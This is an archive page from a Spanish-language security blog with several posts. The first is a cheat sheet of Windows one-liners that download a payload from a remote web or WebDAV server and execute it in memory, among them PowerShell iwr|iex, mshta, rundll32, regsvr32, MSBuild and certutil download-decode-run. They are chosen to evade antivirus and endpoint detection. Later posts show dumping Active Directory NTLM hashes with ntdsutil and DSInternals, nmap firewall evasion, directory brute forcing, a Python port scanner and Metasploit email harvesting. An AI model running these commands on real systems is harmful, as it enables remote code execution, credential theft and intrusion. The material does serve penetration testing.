sábado, 31 de octubre de 2020

Comandos en una sóla línea para descarga de payloads y ejecución remota de comandos en Windows

Si hay algo interesante para un pentester (o un atacante malintencionado) es un comando de una sola línea capaz de comprometer una máquina obteniendo una shell inversa...

El francés Arno (arno0x0x) recopila en su blog una interesante lista de posibilidades que han de cumplir los siguientes requisitos:

- permitir la ejecución de código arbitrario
- permitir descargar un payload de un servidor remoto, porque el malware/RAT/agente probablemente no cabrá en una sola línea de comandos
- tener conocimiento del proxy: ¿qué compañía no usa un proxy web para el tráfico saliente hoy en día?
- hacer uso de los binarios estándar y ampliamente implementados de Microsoft, para que el comando se ejecute en la mayor cantidad de sistemas posible
- ser "amigable" con EDR (Endpoint Detection and Response): el spawning de cmd.exe en Office ya es mala señal, pero ¿qué pasa con powershell.exe o cscript.exe descargando cosas de Internet?
- trabajar solo en memoria, porque el payload final podría quedar "atrapado" por el AV cuando se escriba en el disco

Pero siendo claros, no todas los comandos cumplirán todos los puntos anteriores. Especialmente el de no escribir el payload en el disco, porque la mayoría de las veces el archivo descargado terminará en el caché local.

Cuando se trata de descargar un payload desde un servidor remoto, básicamente tenemos 3 opciones:

- el comando acepta una URL HTTP como uno de sus argumentos
- el comando acepta una ruta UNC (apuntando a un servidor WebDAV)
- el comando puede ejecutar un pequeño script con un link de descarga

Dependiendo de la versión de Windows (7, 10), la caché local para los objetos descargados a través de HTTP será la caché local de IE, en una de las siguientes ubicaciones:
C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

Por otro lado, los archivos a los que se accede a través de una ruta UNC que apunta a un servidor WebDAV se guardarán en el caché local del cliente WebDAV
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Nota: cuando se utilice una ruta UNC para apuntar al servidor WebDAV que aloja el payload hay que tener en cuenta que solo funcionará si se inicia el servicio WebClient. En caso de que no se haya iniciado, para iniciarlo, incluso desde un usuario sin privilegios, simplemente hay que poner antes "pushd \\webdavserver & popd".

A continuación se detallan todos los escenarios posibles, ordenados el proceso que genera el tráfico de red y dónde se escribe el payload:

Proceso: powershell.exe
Payload escrito en disco: NO (al menos no puede verse con procmon).
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

Proceso: shta.exe
Payload escrito en disco: caché local de IE
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta

Proceso: rundll32.exe
Payload escrito en disco: caché local de IE
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Proceso: regsvr32.exe
Payload escrito en disco: caché local de IE
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Proceso: svchost.exe
Payload escrito en disco: caché local del cliente WebDAV
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
cmd.exe /k < \\webdavserver\folder\batchfile.txt (ver Invoke-EmbedInBatch.ps1 en https://github.com/Arno0x/PowerShellScripts)
cscript //E:jscript \\webdavserver\folder\payload.txt
mshta \\webdavserver\folder\payload.hta
rundll32 \\webdavserver\folder\payload.dll,entrypoint
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Combinando comandos

Evidentemente, los comandos se pueden encadenar para alcanzar un objetivo. Por ejemplo, toda la parte de descarga del payload se puede hacer con certutil.exe (descubierto por @subTee):
certutil -urlcache -split -f http://webserver/payload payload

A continuación, combinando algunos comandos inline, con InstallUtil.exe ejecutando una DLL específica como payload:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

O simplemente se puede entregar un ejecutable:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Probablemente haya muchas otras maneras de lograr el mismo resultado, pero esos comandos hacen el trabajo mientras cumplen la mayoría de los requisitos previos que se establecieron al principio.

Uno puede preguntarse por qué no se mencionó el uso de la utilidad bitsadmin como medio para descargar el payload. La razón es simplemente porque no se puede usar proxy.

Ejemplos de fuentes de payloads

Todas las líneas de comando previamente citadas hacen uso de payloads específicos:

- Varios scriplets (.sct), para mshta, rundll32 o regsvr32
- Aplicación HTML (.hta)
- Tareas inline de MSBuild (.xml o .csproj)
- DLL para InstallUtil o Regasm/Regsvc

Puedes obtener ejemplos de la mayoría de los payloads dentro del impresionante repositorio atomic-red-team en Github: https://github.com/redcanaryco/atomic-red-team de @redcanaryco.

También puedes obtener todas estos payloads generados automáticamente gracias al proyecto GreatSCT en Github: https://github.com/GreatSCT/GreatSCT

Por último, puedes encontrar algunos otros ejemplos en gist del propio Arno: https://gist.github.com/Arno0x

miércoles, 7 de octubre de 2020

Lil Pwny: herramienta para comparar las contraseñas de un DA con la lista de Have I Been Pwned

Lil Pwny es una herramienta escrita en Python que permite comparar de forma offline las contraseñas de un Directorio Activo contra la lista de contraseñas recopiladas en Have I Been Pwned (en adelante HIBP), ya sabéis, la recopilación de contraseñas de muchos data breachs reales. 

Y es que hablamos de que actualmente esta recopilación tiene más de 550 millones de contraseñas, así que esta tarea debe hacerse con cierto "mimo". Para ello el autor de la herramienta Andrew Byford aka @_PaperMtn ha implementado multiproceso y opcionalmente permite trabajar en memoria para un indexado más rápido (mínimo 24GBs de RAM). También divide la lista de los hashes de los usuarios de DA en tantos trozos como número de cores -1, dejando ese core libre para manejar la lista compartida entre los procesos. Luego se crea un proceso para que cada uno de los cores busque su parte de la lista de hashes de usuarios en la lista hash de HIBP. 


Estas optimizaciones significan que cuanto más hardware se esté utilizando más rápido se ejecutará la auditoría. Por ejemplo, con un servidores de 80 núcleos y 80 GB de RAM se pueden comparar unos 6800 usuarios contra la lista HIBP en 48 minutos. 

Además Lil Pwny permite otras características adicionales bastante interesantes como: 

  • La posibilidad de proporcionar una lista adicional de contraseñas (las más relevantes de las que se sospecha que podrían estar usándose), más bien hashes, para comparar contra los del DA y la lista de HIBP.
  • Devuelve una lista de cuentas con las mismas contraseñas. Útil para encontrar usuarios que utilicen la misma contraseña para sus cuentas con privilegios y estándar. 

PREPARACIÓN 

Paso 1: Obtener un volcado IFM de la base de datos del Directorio Activo 

En un controlador de dominio, usar ntdsutil para generar un volcado IFM (Install From Media) del dominio. Ejecutar lo siguiente en una ventana de PowerShell elevada:

ntdsutil
activate instance ntds
ifm
create full **OUTPUT PATH**

Una vez que hayamos generado el snapshot tendremos una copia del ntds.dit. 

Paso 2: recuperar los hashes NTLM del output 

Para recuperar los hashes NTLM de los datos del fichero ntds.dit, se requiere el módulo DSInternals de Powershell. 

Install-Module DSInternals 

Una vez instalado, podremos usar la rama SYSTEM para recuperar los hashes en el formato username:hash y guardarlos en el archivo ad_ntlm_hashes.txt

$bootKey = Get-BootKey -SystemHivePath '.\registry\SYSTEM'
Get-ADDBAccount -All -DBPath '.\Active Directory\ntds.dit' -BootKey $bootKey | Format-Custom -View HashcatNT | Out-File ad_ntlm_hashes.txt -Encoding ASCII

La salida será como la siguiente: 

Paso 3: descargar el último archivo hash HIBP 

El archivo se puede descargar desde aquí 

INSTALACIÓN 

Ahora que tenemos todos los ingredientes vamos a proceder a usar la herramienta: 

pip install lil-pwny 

O también podemos obtenerlo del repo en Github: https://github.com/PaperMtn/lil-pwny/releases 

USO

usage: lil-pwny [-h] -hibp HIBP [-a A] -ad AD_HASHES [-d] [-m] [-o OUTPUT]

optional arguments:
  -hibp, --hibp-path    The HIBP .txt file of NTLM hashes
  -a, --a               .txt file containing additional passwords to check for
  -ad, --ad-hashes      The NTLM hashes from of AD users
  -d, --find-duplicates Output a list of duplicate password users
  -m, --memory          Load HIBP hash list into memory (over 24GB RAM
                        required)
  -o, --out-path        Set output path. Uses working dir when not set
Ejemplo:
lil-pwny -hibp ~/hibp_hashes.txt -ad ~/ad_ntlm_hashes.txt -a ~/additional_passwords.txt -o ~/Desktop/Output -m -d

Y finalmente, algunas salidas de ejemplo con resultados: 

Usuarios que matchean en HIBP: 

Usuarios que matchean contra una lista de passwords custom:

Usuarios que reutilizan la contraseña: 

lunes, 5 de octubre de 2020

Manipular el Puerto Origen de un Escaneo con Nmap para Tratar de Evadir el Firewall de Windows

Una configuración inadecuada sorprendentemente común, es confiar en el tráfico basándose únicamente en el número de puerto origen. Es fácil entender entonces como ocurre esto. Un administrador puede configurar un nuevo y brillante firewall, únicamente para ser inundado con reclamos de usuarios descontentos cuyas aplicaciones dejaron de funcionar. En particular DNS puede no funcionar, pues las respuestas UDP DNS desde servidores externos, no pueden ingresar hacia la red. FTP es otro ejemplo común. En las transferencias FTP, el servidor remoto intenta establecer una conexión de retorno hacia el cliente para transferir el archivo solicitado.

Las soluciones seguras a estos problemas existen, frecuentemente en la forma de un proxy a nivel de aplicación, o módulos del firewall para interpretar el protocolo. Desafortunadamente también existen soluciones más fáciles e inseguras de utilizar. Al notar una respuesta DNS proviene desde el puerto 53, y un FTP activo desde un puerto 20, muchos administrador caen en la trampa de simplemente permitir conexiones entrantes desde estos puertos. Pues frecuentemente asumen ningún atacante notará y explotará tal agujero en el firewall. En otros casos, los administradores consideran esto una medida provisional a corto plazo, hasta puedan implementar un solución más segura. Luego olvidan esta actualización de seguridad.

Administradores de red con exceso de trabajo no son los únicos quienes caen en esta trampa. Numerosos productos son entregados con estas reglas inseguras. Incluso Microsoft ha sido culpable. Los filtros IPsec entregados con Windows 2000 y Windows XP, contienen reglas explícitas permitiendo tráfico TCP y UDP desde un puerto 88 (kerberos). Los fanáticos de Apple no deberían sentirse demasiado satisfecho sobre esto, pues el firewall entregado con Mac OS X Tiger es igual de malo. Jay Beale descubrió incluso si no se tiene habilitado el recuadro “Block UDP Traffic” o Bloquear Tráfico UDP en la GUI del firewall, los paquetes proviniendo del puerto 67 (DHCP) y 5353 (Zeroconf) pasan correctamente. Otro ejemplo patético de esta configuración, es el firewall personal Zone Alarm (versiones hasta 2.1.25), permiten cualquier paquete UDP entrante con el puerto origen 53 (DNS) o 67 (DHCP).

Nmap ofrece las opciones “-g” y “--source-port” (son equivalentes) para explotar estas debilidades. Simplemente se debe proporcionar un número de puerto, y Nmap enviará los paquetes desde este puerto cuando sea posible. Nmap debe usar diferentes números de puertos, para las pruebas de detección del sistema operativo funcionen adecuadamente. La mayoría de escaneos TCP, incluyendo el escaneo SYN, soportan completamente la opción, así como el escaneo UDP.

Para el siguiente ejemplo se utiliza una máquina con Windows Server 2012 R2. Únicamente se utiliza por defecto el firewall de Windows.

En primera instancia se ejecuta un “SYN Scan” contra el host.
root@kali:~# nmap -n -Pn -v 192.168.0.92
Notar como únicamente se reportan en estado abierto los puertos TCP, 80, 443, 49155, 49156, y 40159.

A continuación se realiza un “SYN Scan” contra el mismo host, pero definiendo al puerto TCP 53 como origen del escaneo.

root@kali:~# nmap -n -Pn -v --source-port 53 192.168.0.92
En los resultados obtenidos ahora se incluye; además de los puertos descubiertos con el anterior escaneo realizado; al puerto TCP 53 descubierto en estado abierto.

Fuentes:https://nmap.org/book/firewall-subversion.html

domingo, 4 de octubre de 2020

Vigilancia de Logs con la Herramienta logcheck en Kali Linux

El programa de nombre logcheck vigila los archivos donde se registran los eventos (logs); por defecto cada hora; para luego enviar los mensajes inusuales encontrados en los logs, a través de mensajes de correos electrónicos dirigidos hacia el administrador, para este realice un posterior análisis. La lista de archivos vigilados se almacenan en el archivo “/etc/logcheck/logcheck.logfiles.”. Los valores por defecto funcionan bien si el archivo “/etc/rsyslog.conf” no ha sido completamente revisado.

logcheck puede reportar en varios niveles de detalle: paranoico, servidor y estación de trabajo. Paranoico es muy verboso y debería probablemente ser restringido hacia servidores específicos como firewalls. Servidor es el modo por defecto, y se recomienda para la mayoría de servidores. Estación de trabajo es obviamente diseñado para estaciones de trabajo, y es extremadamente conciso, filtrando más mensajes comparado con otras opciones.

En estos tres casos mencionados, logcheck debe probablemente ser personalizado para excluir algunos mensajes extras (dependiendo de los servicios instalados), a menos realmente se desee recibir lotes por hora de largos mensajes de correos electrónicos poco interesantes. Debido al mecanismo para la selección de mensajes es bastante complejo, es una lectura obligatoria el archivo de nombre “/usr/share/doc/logcheck-database/README.logcheck-database.gz”.

Las reglas aplicadas pueden ser divididas en varios tipos:

  • Aquellos calificando un mensaje como un intento (almacenado en un archivo en el directorio “/etc/logcheck/cracking.d/”)
  • Intentos ignorados (/etc/logcheck/cracking.ignore.d/)
  • Aquellos clasificando un mensaje como una alerta de seguridad (/etc/logcheck/violations.d/)
  • Alertas de seguridad ignoradas (/etc/logcheck/violations.ignore.d/)
  • Finalmente aquellas aplicados al resto de mensajes (considerados como eventos de seguridad)

Los archivos “ignore.d” son utilizado para (obviamente) ignorar mensajes. Por ejemplo un mensaje etiquetado como un intento o una alerta de seguridad (siguiendo una regla almacenada en un archivo “/etc/logcheck/violations.d/myfile”) puede solo ser ignorada por una regla en “/etc/logcheck/violations.ignore.d/myfile” o un archivo “/etc/logcheck/violations.ignore.d/myfile-extension”.

Un evento del sistema siempre se señalada a menos una regla en uno de los directorios “/etc/logcheck/ignore.d.{paranoico,servidor,estación de trabajo/”, establezca el evento debe ser ignorado. De hecho los únicos directorios a tener en cuenta son aquellos correspondientes hacia niveles de verbosidad iguales o superiores al modo de operación seleccionado.

Fuentes:

http://logcheck.org/
https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf

Fuerza Bruta contra Directorios utilizando Gobuster

Gobuster es una herramienta utilizada para realizar fuerza bruta a: URIs (directorios y archivos) en sitios web, subdominios DNS (con soporte de comodines), y nombres de hosts virtuales en los servidores web.

Gobuster tiene tres modos disponibles. “dir”, el modo clásico de fuerza bruta contra directorios, “dns”, el modo de fuerza bruta contra subdominios DNS, y “vhost”, el modo de fuerza bruta contra hosts virtuales (no es lo mismo a “DNS”).

La opción “help” muestra la ayuda de nivel superior de Gobuster

root@kali:~# gobuster help

La opción “help dir” muestra la ayuda específica del modo “dir”. Pudiendo ser utilizada también para obtener la ayuda de los otros modos, como “dns” y “vhost”

root@kali:~# gobuster help dir

Para la siguiente demostración se utiliza Gobuster contra la aplicación web de nombre XVWA.

La opción “-u” define la URL en evaluación. La opción -t define el numero de hilos concurrentes (en este caso 20). La opción “-w” define el archivo conteniendo una lista de palabras. (En este caso se utiliza una de las listas de una herramienta de nombre dirbuster). Y la opción “-x” define las extensiones de los archivos a buscar (en este escenario son archivos .php y .html)

root@kali:~# gobuster dir -u http:// 192.168. 0.66/xvwa/ -t 20 -w /usr/ share/wordlists/dirbuster/directory-list-1.0.txt -x .php .html

Para los resultados obtenidos, se sugiere tener especial atención en los códigos de estado devueltos por las peticiones realizadas. En esta demostración se han obtenido los códigos de estado 200, 301, 302. Adicionalmente se deben revisar los resultados manualmente utilizado un navegador web.

Fuentes:

https://github.com/OJ/gobuster
https://github.com/s4n7h0/xvwa

Fuerza Bruta contra Directorios utilizando Wfuzz

Wfuzz ha sido creado para facilitar la tarea en las evaluaciones contra aplicaciones web, y está basado en un concepto simple; reemplaza cualquier referencia a la palabra clave FUZZ, por el valor del payload (carga útil) definido.

Un payload en Wfuzz es una fuente de datos.

Este concepto simple permite cualquier entrada sea inyectada en cualquier campo de una petición HTTP, permitiendo realizar ataques complejos de seguridad web en diferentes componentes de la aplicación web, como parámetros, formularios, directorios/archivos, cabeceras, etc.

Wfuzz es más a únicamente un escáner de contenido web:

  • Wfuzz podría ayudar a asegurar las aplicaciones web, encontrando y explotando vulnerabilidades en la aplicación web. El escáner de vulnerabilidades de aplicación web de Wfuzz es soportado por plugins.
  • Wfuzz es un framework completamente modular, lo cual facilita para incluso los novatos en desarrollo con Python contribuir. Construir plugins es simple, y toma poco más de algunos minutos.
  • Wfuzz expone una interfaz simple de lenguaje hacia peticiones y respuestas HTTP previas, realizadas utilizando Wfuzz u otras herramientas como Burp. Esto permite realizar pruebas manuales o semiautomáticas con el contexto completo, y entendiendo las acciones, sin depender del escáner de aplicación web subyacente a la implementación.

Wfuzz fue creado para facilitar la tarea en las evaluaciones de aplicaciones web. Es una herramienta de profesionales en pruebas de penetración, para profesionales en pruebas de penetración.

La opción “-h” presenta la ayuda de la herramienta Wfuzz.

root@kali:~# wfuzz -h

Wfuzz puede ser utilizado para buscar contenido oculto, como archivos y directorios dentro de un servidor web, permitiendo encontrar vectores de ataque. El éxito o no de esta tarea depende altamente de los diccionarios utilizados.

La siguiente demostración se realiza utilizando la aplicación web de nombre “XVWA”. Se ejecuta Wfuzz para encontrar directorios dentro de la aplicación web “XVWA”.

La opción “-w” define el archivo conteniendo la lista de palabras. (es una alias para -z file,wordlist). La opción “--hc”, oculta las respuestas con un código 404. Es decir “Archivo no encontrado”.

root@kali:~# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –hc 404 http:// 192.168. 0.66 /xvwa/FUZZ

Los resultados muestran 17 payloads encontrados. Mostrándose respuestas diferentes al código 404, como 200, 301 y 302. Todos estos resultados deben ser verificados manualmente, y así evitar los falsos positivos.

Adicionalmente se muestra el número de peticiones realizadas, el tiempo total de procesamiento, el número de peticiones procesadas, el número de peticiones filtradas, y el número de peticiones por segundo.

Fuentes:

https://github.com/xmendez/wfuzz
https://wfuzz.readthedocs.io/en/latest/
https://github.com/s4n7h0/xvwa

Cómo hacer un escáner de puertos en Python3

CS! : Aprenda a escribir un escáner de puertos en Python usando sockets, comenzando con un escáner de puertos simple y luego profundizando en una versión enhebrada de un escáner de puertos que sea confiable para su uso.

El escaneo de puertos es un método de escaneo para determinar qué puertos en un dispositivo de red están abiertos, ya sea un servidor, un enrutador o una máquina normal. Un escáner de puertos es solo un script o un programa diseñado para probar un host en busca de puertos abiertos.

En este tutorial, podrá crear su propio escáner de puertos en Python utilizando la biblioteca de sockets . La idea básica detrás de este simple escáner de puertos es intentar conectarse a un host específico (sitio web, servidor o cualquier dispositivo conectado a Internet / red) a través de una lista de puertos, si se ha establecido una conexión exitosa, eso significa que el puerto está abierto .

Por ejemplo, cuando cargó esta página web, hizo una conexión a este sitio web en el puerto 80 , de manera similar, este script intentará conectarse a un host pero en varios puertos. Este tipo de herramientas son útiles para piratas informáticos y probadores de penetración, así que no use esta herramienta para un host que no tenga permiso para probar.

Opcionalmente, debe instalar el módulo colorama para una impresión elegante:

pip3 install colorama

Escáner de puerto simple

En esta sección, escribiremos un escáner de puerto simple, solo para ensuciarse las manos, comencemos importando el módulo de socket :

import socket # for connecting
from colorama import init, Fore

# some colors
init()
GREEN = Fore.GREEN
RESET = Fore.RESET
GRAY = Fore.LIGHTBLACK_EX

Nota: el módulo de socket ya está instalado en su máquina, está integrado en el módulo de la biblioteca estándar de Python , por lo que no tiene que instalar nada.

El módulo de socket nos proporciona operaciones de socket, funciones para tareas relacionadas con la red, etc. Son muy utilizados en Internet, ya que están detrás de cualquier conexión a cualquier red. Cualquier comunicación de red pasa por un socket, más detalles en la documentación oficial de Python .

Usaremos colorama aquí solo para imprimir en colores verdes cuando un puerto está abierto y gris cuando está cerrado.

Definamos la función que se encarga de determinar si un puerto está abierto:

def is_port_open(host, port):
    """
    determine whether `host` has the `port` open
    """
    # creates a new socket
    
    s = socket.socket()
    try:
        # tries to connect to host using that port
        s.connect((host, port))
        # make timeout if you want it a little faster ( less accuracy )
        # s.settimeout(0.2)
    except:
        # cannot connect, port is closed
        # return false
        return False
    else:
        # the connection was established, port is open!
        return True
        

s.connect((host, port))La función intenta conectar el socket a una dirección remota (host,port), generará una excepción cuando no se conecte a ese host, es por eso que hemos envuelto esa línea de código en un bloque try-except , por lo que siempre que se genera una excepción, eso es una indicación para nosotros de que el puerto está realmente cerrado; de lo contrario, está abierto.

Ahora usemos la función anterior e iteremos sobre un rango de puertos:

# get the host from the user
host = input("Enter the host:")
# iterate over ports, from 1 to 1024
for port in range(1, 1025):
    if is_port_open(host, port):
        print(f"{GREEN}[+] {host}:{port} is open      {RESET}")
    else:
        print(f"{GRAY}[!] {host}:{port} is closed    {RESET}", end="\r")

El código anterior escaneará puertos que van desde 1 hasta 1024, puede cambiar el rango a 65535 si lo desea, pero tardará más en finalizar.

Cuando intente ejecutarlo, inmediatamente notará que el script es bastante lento, bueno, podemos salirse con la suya si establecemos un tiempo de espera de 200 milisegundos más o menos (usando el settimeout(0.2)método). Sin embargo, esto en realidad puede reducir la precisión del reconocimiento, especialmente cuando su latencia es bastante alta. Como resultado, necesitamos una mejor manera de acelerar esto.

Escáner de puerto rápido

Ahora llevemos nuestro simple escáner de puertos a un nivel superior. En esta sección, escribiremos un escáner de puertos con subprocesos que puede escanear 200 o más puertos simultáneamente.

El siguiente código es en realidad la misma función que vimos anteriormente, que es responsable de escanear un solo puerto. Como estamos usando subprocesos , necesitamos usar un candado para que solo se pueda imprimir un subproceso a la vez; de lo contrario, la salida se estropeará y no leeremos nada:

import argparse
import socket # for connecting
from colorama import init, Fore
from threading import Thread, Lock
from queue import Queue

# some colors
init()
GREEN = Fore.GREEN
RESET = Fore.RESET
GRAY = Fore.LIGHTBLACK_EX

# number of threads, feel free to tune this parameter as you wish
N_THREADS = 200
# thread queue
q = Queue()
print_lock = Lock()

def port_scan(port):
    """
    Scan a port on the global variable `host`
    """
    try:
        s = socket.socket()
        s.connect((host, port))
    except:
        with print_lock:
            print(f"{GRAY}{host:15}:{port:5} is closed  {RESET}", end='\r')
    else:
        with print_lock:
            print(f"{GREEN}{host:15}:{port:5} is open    {RESET}")
    finally:
        s.close()

Entonces, esta vez la función no devuelve nada, solo queremos imprimir si el puerto está abierto (aunque siéntase libre de cambiarlo).

Usamos la Queue()clase del módulo de cola incorporado que nos ayudará a consumir puertos, las dos funciones siguientes son para producir y llenar la cola con números de puerto y usar subprocesos para consumirlos:

def scan_thread():
    global q
    while True:
        # get the port number from the queue
        worker = q.get()
        # scan that port number
        port_scan(worker)
        # tells the queue that the scanning for that port 
        # is done
        q.task_done()


def main(host, ports):
    global q
    for t in range(N_THREADS):
        # for each thread, start it
        t = Thread(target=scan_thread)
        # when we set daemon to true, that thread will end when the main thread ends
        t.daemon = True
        # start the daemon thread
        t.start()
    for worker in ports:
        # for each port, put that port into the queue
        # to start scanning
        q.put(worker)
    # wait the threads ( port scanners ) to finish
    q.join()

El trabajo de la scan_thread()función es obtener números de puerto de la cola y escanearlo, y luego agregarlo a las tareas realizadas, mientras que la main()función es responsable de llenar la cola con los números de puerto y generar N_THREADSsubprocesos para consumirlos.

Tenga en cuenta que q.get()se bloqueará hasta que haya un solo elemento disponible en la cola. q.put()pone un solo elemento en la cola y q.join()espera a que terminen todos los hilos (despejar la cola).

Finalmente, hagamos un analizador de argumentos simple para que podamos pasar el rango de números de puerto y host desde la línea de comando:

if __name__ == "__main__":
    # parse some parameters passed
    parser = argparse.ArgumentParser(description="Simple port scanner")
    parser.add_argument("host", help="Host to scan.")
    parser.add_argument("--ports", "-p", dest="port_range", default="1-65535", help="Port range to scan, default is 1-65535 (all ports)")
    args = parser.parse_args()
    host, port_range = args.host, args.port_range

    start_port, end_port = port_range.split("-")
    start_port, end_port = int(start_port), int(end_port)

    ports = [ p for p in range(start_port, end_port)]

    main(host, ports)

Aquí hay una captura de pantalla cuando intenté escanear mi enrutador:

Conclusión

¡Increíble! ¡Terminó de escanear 5000 puertos en menos de 2 segundos! Puede utilizar el rango predeterminado ( 1 a 65535 ) y tardará unos segundos en finalizar.

Si ve que su escáner se está congelando en un solo puerto, eso es una señal de que necesita disminuir su número de subprocesos, si el servidor que está probando tiene un ping alto, debe reducirlo N_THREADS a 100 , 50 o incluso menos, intente Experimente con este parámetro.

El escaneo de puertos demuestra ser útil en muchos casos, un probador de penetración autorizado puede usar esta herramienta para ver qué puertos están abiertos y revelar la presencia de dispositivos de seguridad potenciales como firewalls, así como probar la seguridad de la red y la fuerza de un dispositivo.

También es una herramienta de reconocimiento popular para los piratas informáticos que buscan puntos débiles para obtener acceso a la máquina objetivo.

Consulte la versión completa de ambos scripts aquí  .

🔥AlfonzCS Feliz Escaneo🔥

Ver codigo completo

Extraer Direcciones de Correo Electrónico utilizando Metasploit

El módulo “auxiliary/gather/search_email_collector” incluido en Metasploit Framework, utiliza los motores de búsqueda Google, Bing y Yahoo, para crear un listado de direcciones de correos electrónicos válidos para un dominio definido. La obtención de direcciones de correos electrónicos tiene diversas aplicaciones, desde SPAM hasta Pruebas de Penetración y Hacking Ético. Desde esta última perspectiva, esta información puede ser utilizada para obtener nombres de usuarios válidos a partir de la dirección de correo electrónico, o utilizarlas para realizar diversos ataques de ingeniería social contra los propietarios de dichas cuentas.

Se inicia Metasploit Framework

root@kali:~# msfconsole

Se solicita información sobre el módulo

> info auxiliary/gather/search_email_collector

Se indica al Framework utilizar el módulo, para luego mostrar sus opciones disponibles.

> use auxiliary/gather/search_email_collector
> show options

El módulo requiere únicamente la definición del dominio sobre el cual se realizará la búsqueda en Google, Bing, y Yahho, para en caso se encuentren direcciones de correo electrónicos válidos, estos sean mostrados en pantalla o guardados hacia un archivo.

Para todos los ejemplos a continuación presentados se utilizarán dominios correspondientes a agencias de noticias internacionales.

> set DOMAIN reuters.com
> run

El resultado es únicamente una dirección de correo electrónico.

Para el segundo dominio se obtiene también únicamente una dirección de correo electrónicos

> set DOMAIN afp.com
> run

Para el tercer dominio consulta se obtienen cuatro direcciones de correo electrónico.

> set DOMAIN thomsonreuters.com
> run

De hecho estos resultados varían de acuerdo al dominio en consulta. Mencionar adicionalmente la existencia de otras herramientas las cuales obtienen mejores resultados, como “TheHarvester”.

Fuentes:

https://www.rapid7.com/products/metasploit/
https://github.com/laramies/theHarvester

sábado, 3 de octubre de 2020

El código fuente de Windows XP se ha filtrado: esto sabemos de cómo sucedió y sus posibles implicaciones



El código fuente completo de Windows XP se ha filtrado en línea. Un torrent de 43 GB que compila varios archivos ha sido publicado en 4chan, reporta Bleeping Computer, e incluye código fuente y archivos de otros sistemas operativos de Microsoft.

 

CLOWN SAW